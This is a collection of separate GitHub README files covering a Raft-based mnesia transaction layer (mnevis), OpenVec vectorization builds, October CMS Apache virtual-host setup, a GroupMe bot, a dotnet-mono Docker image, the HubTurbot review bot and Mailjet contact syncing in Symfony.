This project uses [mnesia activity](http://erlang.org/doc/man/mnesia.html#activity-4)
feature to implement a custom transaction layer for mnesia.

Little bit more on activities [here](./ACTIVITY.md)

The `mnevis` module implements the `mnesia_activity` behaviour, providing
APIs for mnesia operations (like read/write/delete/delete_object etc.)

`write`, `delete` and `delete_object` operations are "write operations".
They change the world state and should be isolated in a transaction,
while read operations should only check the locks.

There is more on operation convergence in the [`mnevis_context.erl`](./src/mnevis_context.erl)

For this purpose (similarly to mnesia transactions) there is an internal context
storage, which stores all the write operations until transaction is committed
or rolled back.

Each operation have to acquire a lock, which is done by calling the special lock
process. More on locks [here](./LOCK_PROCESS.md)

Reads get data from both context and the mnesia database. Reads from the database
require the record to be synchronised with consistent changes. This is done with
versions: each table/record has a version assigned (multiple records per version),
which is read from the ra cluster using consistent_query.
If version read from the cluster is higher than the local version - the transaction
process will wait for them to synchronise before performing a local read.

Locked transactions can be restarted.

**Nested transactions will restart the parent. Retries number for nested transaction
is ignored.**

Commit is a comand to the Raft cluster.

### State machine

Mnevis uses a single Ra node per erlang node with a constant nodeID:
`mnevis_node:node_id()`

The statemachine in the cluster does read and commit operations,
which access the mnesia database.

Also statemachine keeps track of the current lock process, which is used to
coordinate transaction locks to avoid conflicts.

See more in [STATEMACHINE.md](./STATEMACHINE.md)

### Locks

Locks are coordinated with a lock process. There should be only one active lock
process per mnevis cluster. This is achieved using coordination with raft. Only
transactions using the current lock process can be committed.

Transactions locate the current lock process by reading the lock_cache ETS table or
asking the raft cluster.

Transactions can attempt to lock a lock_item with a lock_kind. Each lock request
should contain the transaction ID or `undefined`.
If transaction ID is `undefined` - a new transaction will be created
and all locks for the old transaction associated with the transaction process
will be cleared, if there were any.

Locks work mostly the same way as [in mnesia](http://erlang.org/doc/man/mnesia.html#lock-2).

If a transaction is blocked by another transaction it should be restarted.
To avoid livelocks transactions wait for locking transactions with lower ID to
finish first and then restart. If there are no such transactions - it's restarted
instantly.

When transaction is restarted - all its locks and transaction context is cleared
but transaction ID stays registered with the lock process.

When lock process changes - transaction IDs start from 1 and committed transaction
table is cleaned up.

**Behaviour differences with mnesia**
Because locks are acquired cluster-wide and not on specific nodes, global locks
acquired with a `{global, LockTerm :: term(), Nodes :: [node()]}` lock item will
not scope on nodes. It will lock all nodes on `LockTerm`.

### Consistent reads

When transaction reads data it should first lock the responsive record.
After record is locked no other transaction can change the data locked.

This means that local database needs to progress only to the lock point to have
most up-to-date data for the read. Also reads may be cached.

To wait for local database to progress to the lock point versions are used.
Version is a key-value pair. Version key is either a table or a tuple with table
and a hash of the record key. Hash is used to limit the version key scope.
Version value is a monotonically increasing integer.

Versions are updated on commits. A change in commit will update both the table
version and each record hash version.

If a local record version is up-to-date with the cluster - it has all the latest
changes for the record.

After aquiring a lock, reads will request a consistent view of the version
(via consistent query) and wait for the local version to become equal or greater
than the consistent view.
NOTE: multiple records may use the same version key, so it can be greater.
After waiting for version sync the transaction process will continue with reading
the local data.

**This approach relies on lock items to correspond with the record keys.**

### Snapshotting and log replay

When a transaction is committed, the changes are saved to mnesia DB.
When log is replayed after a snapshot it will re-run some commits, which might
have already succeed. To avoid that the committed transactions IDs are saved
in a mnesia table and all operations for this transaction will be skipped and
return an error. The error will not be reported to the client, because if it's
a replay the client will not be there anymore.

A snapshot is requested via release_cursor on every successful commit operation.

This app is using a custom snapshotting module `mnesia_snapshot`. When a state
is about to be saved as a snapshot it will take a mnesia checkpoint with
the `prepare` callback.
The snapshot consists of the mnesia backup and the server state saved by `ra_log_snapshot`

## TODO

Startup of ra currently requires a global `data_dir` setting, which is not nice.

Startup configuration can be improved.

More docs?

There is a tutorial jepsen test which needs more scenarios https://github.com/hairyhum/jepsen.mnevis

There is a demo rabbitmq integration in the `mnevis-experimental` branch

More unit tests are needed for the context module.

More property tests are needed for multi-node setup.

repository: rabbitmq/mnevis

gha_language: Erlang

repo_name: rabbitmq/mnevis


text:
# OpenVec
OpenVec enables portable explicit vectorization on different architectures

Just include "openvec.h" file in your C/C++ code and you are ready to go.

To compile code examples:
make arch={intel64,knc,gccavx,neon}

If no arch is provided, gcc with SSE will be used.

To run a self tests:
make arch={intel64,knc,gccavx,neon} run_selftest

The stencil* samples will allocate 3.9GB,
if you want allocate less memory edit stencil_common.h
and change problem size.
Blocking definitions are located on stencil_common.h too.

Specific information for KNC:

For compiling:
make arch=knc

And use knc_target=<device number> for running the tests on specific KNC device.
For example, to run on device mic0:
make arch=knc knc_target=0 run_selftest

repository: m-ric/OpenVec

repo_name: m-ric/OpenVec


text:
1. Installation
    There are three ways to install october. We  used composer instalation method
    run:

    #install october with composer command
    $ composer create-project october/october october

    frontend : http://localhost/cms/laravel/october/
    backend: http://localhost/cms/laravel/october/backend

    # init database
      -first create your database
      - run :
        $ php artisan october:up     (this will create all needed table in the database set in database.php file with some records)

2. virtual host
    We create two domains dev-october.com and prod-october.com
    These both will listen on port 80 and will use the same ip address <IP_ADDRESS>.

    # How to set up virtual host
    ref1: https://www.digitalocean.com/community/tutorials/how-to-set-up-apache-virtual-hosts-on-debian-8
    ref2: https://doc.ubuntu-fr.org/tutoriel/virtualhosts_avec_apache2

    Step 1 — Creating the Directory Structure

            $ sudo mkdir -p /var/www/html/cms/laravel/dev-october.com/public_html/
            $ sudo mkdir -p /var/www/html/cms/laravel/prod-october.com/public_html/

    copy october to /var/www/html/cms/laravel/dev-october.com/public_html/
            $ cp -R october_path /var/www/html/cms/laravel/dev-october.com/public_html/
            $ cp -R october_path /var/www/html/cms/laravel/prod-october.com/public_html/

    change access right and ownership for both domain
            $chown -R www-data:www-data /var/www/html/cms/laravel/dev-october.com/
            $chmode -R ugo+wrx /var/www/html/cms/laravel/dev-october.com/

    Step 3 — Create New Virtual Host Files

    $ sudo cp /etc/apache2/sites-available/000-default.conf /etc/apache2/sites-available/dev-october.com.conf
    modify file with:

            ServerAdmin webmaster@dev-october
            ServerName  dev-october.com
            ServerAlias www.dev-october.com
            DocumentRoot /var/www/html/cms/laravel/dev-october.com/public_html/

    Do the same with prod-october.com

    Step 4 — Enabling the New Virtual Host Files

            $ sudo a2ensite dev-october.com.conf
            $ sudo a2ensite prod-october.com.conf

            #reload appach config
            $ service apache2 reload

            $ service apache2 stop
            $ service apach2 start

    Step 5 — Setting Up Local Hosts File

    $ sudo vim /etc/hosts

    add :
            <IP_ADDRESS> dev-october.com
            <IP_ADDRESS> prod-october.com

    Step 6 — Testing Your Results

    if you load from your browser,

    frontend: dev-october.com and prod-october.com
    backent: dev-october.com/backend | prod-october.com/backend

    !! if backend doesnot work, verify if in your root path, you have .htaccess

3. Database configuration

set your database configuration in config/database.php

e.g

            'mysql' => [
                            'driver'    => 'mysql',
                            'host' => env('DB_HOST', 'localhost'),
                            'port' => env('DB_PORT', '3306'),
                            'database' => env('DB_DATABASE', 'october'),
                            'username' => env('DB_USERNAME', 'root'),
                            'password' => env('DB_PASSWORD', 'root'),
                            'charset'   => 'utf8',
                            'collation' => 'utf8_unicode_ci',
                            'prefix'    => '',
                   ],

3. environment

    All enviroment will use by default files configurations set in config/. But these configuration can be override
    by defining .env in the root of the project.

    run: $ php artisan october:env   (this will generate .env file).

    if .env file exist, all environment will use the configuration define in it. Unless we change that behavior.
    There two ways to do that
    #first way
    - add APP_ENV in .env
        APP_ENV = prod
        at running time, laravel will load all config in config/prod. If no configuration file exist in .env,
        laravel will use configuration in config/prod
    #2nd way
    - in environment.php, you can define the config path for each domain request. See the below exemple

            'hosts' => [

                    'localhost' => 'dev',
                    'dev-october.com' => 'dev',
                    'prod-october.com' => 'prod',

                ],

    In this example, all request from
    - localhost will load config from config/dev
    - prod-october.com will load config from config/prod
    prod-october.com and dev-october.com are our two domain names.

  Note that .env will always override configuration in conf/ or config/your_env.

#For this project:
    - dev will use config file in config/
    - prod will use config in config/prod


text:
GroupMeBot
==========

This is a chatbot making use of the GroupMe Bot API

This depends on the Httpful library ( Just put the .phar in the same directory as the callback script )

To use: Point a GroupMe bot's callback at this file, and let 'er rip.

To add additional functionality: Expand the switch statment with any other : commands you want. You can also add keywords similar to the (.)(.) command for responses to character sequences anywhere in a message.

==========

The config.php file that needs to exist in the same directory as the callback needs to define the following:
```php
$bot_token = "bot token from GroupMe bot registration page"
```

repository: DweebsUnited/GroupMeBot

gha_language: PHP

repo_name: DweebsUnited/GroupMeBot


text:
# dotnet-sdk-mono

A docker image deriving from the official dotnet sdk image which additionally
- Includes the mono sdk and runtime.
- Assigns the `FrameworkPathOverride` to mono 4.7.2 libraries to allow for building
  and testing net4x and multi-targeted projects.

A build of the image can be found in [docker hub](https://hub.docker.com/r/eiriktsarpalis/dotnet-sdk-mono)

repository: eiriktsarpalis/dotnet-sdk-mono

repo_name: eiriktsarpalis/dotnet-sdk-mono


text:
# HubTurbot :speech_balloon:

I am a fork of [mention-bot](https://github.com/facebook/mention-bot). My purpose is to ~~pass butter~~ help run open source projects.

I can do many clever things:

- Notify a reviewer when a PR is ready for review (by inspecting status labels)
- Respond to comments by toggling PR status labels
- Automatically identify potential reviewers for new PRs (see [mention-bot's documentation](https://github.com/facebook/mention-bot))
- Make inappropriate jokes

## Usage

- Go to
 - your project on GitHub > Settings > Webhooks & services > Add Webhook or
 - your organization on GitHub > Settings > Webhooks > Add Webhook
- Payload URL: `https://hubturbot.herokuapp.com/`
- Check `Everything`
- Add [**@HubTurbot**](https://github.com/HubTurbot) as a collaborator to your project (for more features, like changing issue labels)
- Add Webhook

## License

I am [BSD-licensed](https://github.com/facebook/mention-bot/blob/master/LICENSE), like mention-bot.

repository: kanghj/HubTurbot

repo_name: kanghj/HubTurbot


text:
# Usage

## Synchronize Contact Metadata (Contact Properties)

Contact Metadata (or Contact Properties) are values you can add to your contacts (for example firstname, birthdate, isenabled, ...).
You can use these metadata in your newsletters or to create segments out of them.

This bundle provides a simple way to configure and synchronize these metadata with your Mailjet account.

You just need to configure in your config.yml your `contact_metadata`: [see the configuration](configuration.md).

Finally, you can use this command to synchronize your config with Mailjet:

    php app/console mailjet:mailjet:contactmetadata-sync

## Full synchronization with command

You can synchronize all users of your project with a Mailjet list at once by calling the Symfony command:

    php app/console mailjet:mailjet:user-sync

It will get all your User throught your Contact Provider and will add/update all your User to the configured list.

NOTE: you must have configured and created [your own contact provider](contact-provider.md).

## Unit synchronization with events

If you want realtime synchronization, you can dispatch custom events on your controllers/managers (or anywhere). The subscribe event can be used both for adding a new contact or updating an existing one. You can fired these events to trigger sync with Mailjet:

```php
    ContactEvent::EVENT_SUBSCRIBE = 'mailjet.mailjet.subscribe';
    ContactEvent::EVENT_UNSUBSCRIBE = 'mailjet.mailjet.unsubscribe';
    ContactEvent::EVENT_UPDATE = 'mailjet.mailjet.update';
    ContactEvent::EVENT_DELETE = 'mailjet.mailjet.delete';
    // NOT IMPLETENTED YET // ContactEvent::EVENT_CHANGE_EMAIL = 'mailjet.mailjet.change_email';
```

### Subscribe new User

Here is an example of a subscribe event dispatch:

```php
<?php

use Mailjet\MailjetBundle\Event\ContactEvent;
use Mailjet\MailjetBundle\Model\Contact;

// ...

public function newUser(User $user)
{
    // ...

    $contact = new Contact($user->getEmail(), $user->getNickname(), [
        'firstname' => $user->getFirstname(),
        'lastname' => $user->getLastname(),
        'city' => $user->getCity(),
        'language' => 'fr'
    ]);

	$this->container->get('event_dispatcher')->dispatch(
        ContactEvent::EVENT_SUBSCRIBE,
        new ContactEvent('your_list_id', $contact)
    );
}
```

### Unsubscribe a User

Unsubscribe is simpler, you only need the email:

```php
<?php

use Mailjet\MailjetBundle\Event\ContactEvent;
use Mailjet\MailjetBundle\Model\Contact;

// ...

public function unsubscribeUser(User $user)
{
    // ...

    $contact = new Contact($user->getEmail());

    $this->container->get('event_dispatcher')->dispatch(
        ContactEvent::EVENT_UNSUBSCRIBE,
        new ContactEvent('your_list_id', $contact)
    );
}
```

### Update a User

If your User changes his information, you can sync with MailChimp:

```php
<?php

use Mailjet\MailjetBundle\Event\ContactEvent;
use Mailjet\MailjetBundle\Model\Contact;

// ...

public function updateUser(User $user)
{
    // ...

    $contact = new Contact($user->getEmail(), $user->getNickname(), [
        'firstname' => $user->getFirstname(),
        'lastname' => $user->getLastname(),
        'city' => $user->getCity(),
        'language' => 'fr'
    ]);

    $this->container->get('event_dispatcher')->dispatch(
        ContactEvent::EVENT_UPDATE,
        new ContactEvent('your_list_id', $contact)
    );
}
```

Note: we can't change the address email of a user... MailJet API V3 doesn't permit it so far.

### Delete a User

And finally delete a User:

```php
<?php

use Mailjet\MailjetBundle\Event\ContactEvent;
use Mailjet\MailjetBundle\Model\Contact;

// ...

public function deleteUser(User $user)
{
    // ...

    $contact = new Contact($user->getEmail());

    $this->container->get('event_dispatcher')->dispatch(
        ContactEvent::EVENT_DELETE,
        new ContactEvent('your_list_id', $contact)
    );
}
```

### Change User's email address

NOT POSSIBLE YET...(WORKAROUND: remove old, add new)

## Retrieve Mailjet Client Object to make custom MailJet API V3 requests

You can also retrieve the MailJet Client Object which comes from the wrapper [mailjet/mailjet-apiv3-php](https://github.com/mailjet/mailjet-apiv3-php).

The service key is `mailjet.client`.

Example:

``` php
<?php
    use \Mailjet\Resources;

    // in any controller action...
    ...
    $mailjet = $this->container->get('mailjet.client');

    // Resources are all located in the Resources class
    $response = $mailjet->get(Resources::$Contact);

    /*
      Read the response
    */
    if ($response->success())
      var_dump($response->getData());
    else
      var_dump($response->getStatus());

    ...
    // Send transactional emails

    $body = [
        'FromEmail' =><EMAIL_ADDRESS>        'FromName' => "Mailjet Pilot",
        'Subject' => "Your email flight plan!",
        'Text-part' => "Dear passenger, welcome to Mailjet! May the delivery force be with you!",
        'Html-part' => "<h3>Dear passenger, welcome to Mailjet!</h3><br />May the delivery force be with you!",
        'Recipients' => [['Email' =><EMAIL_ADDRESS>    ];

    $response = $mailjet->post(Resources::$Email, ['body' => $body]);

```

repository: swis/mailjetBundle

repo_name: swis/mailjetBundle